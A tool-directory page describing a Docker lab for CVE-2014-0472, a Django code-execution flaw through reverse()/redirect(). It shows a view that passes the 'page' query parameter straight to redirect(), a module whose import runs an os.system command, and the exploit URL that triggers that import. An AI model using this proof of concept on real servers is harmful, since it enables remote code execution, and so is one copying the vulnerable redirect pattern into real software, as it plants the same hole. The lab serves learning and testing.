Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2014-0472 — CVE-2014-0472 Django unexpected code execution using reverse() | Kitploit
Tools/GitHubGitHub/christasa/cve-2014-0472
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubchristasa/cve-2014-0472

CVE-2014-0472

CVE-2014-0472 Django unexpected code execution using reverse()

View Repository
715 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2014-0472

Use

root@kitploit:~
docker-compose up -d

Access localhost:8083

Reference: https://www.djangoproject.com/weblog/2014/apr/21/security/

  1. One or more views are present which construct a URL based on user input (commonly, a "next" parameter in a querystring indicating where to redirect upon successful completion of an action).
  2. One or more modules are known to an attacker to exist on the server's Python import path, which perform code execution with side effects on importing.

In tests.py

root@kitploit:~
def evil_function():
    print("exploit successful")
    os.system("echo > /tmp/`whoami` ")
    return os.getuid()


evil = evil_function()

In views.py

root@kitploit:~
def redirect_test(request):
        page = request.GET.get('page', None)
        if page is not None:
                redirect(page)
        return HttpResponse("OK")

Use redirect function to call to the evil function

avater

Use exp

root@kitploit:~
http://your-ip:8083/example?page=app.tests.evil

avater

Exploited

avater

Download Tool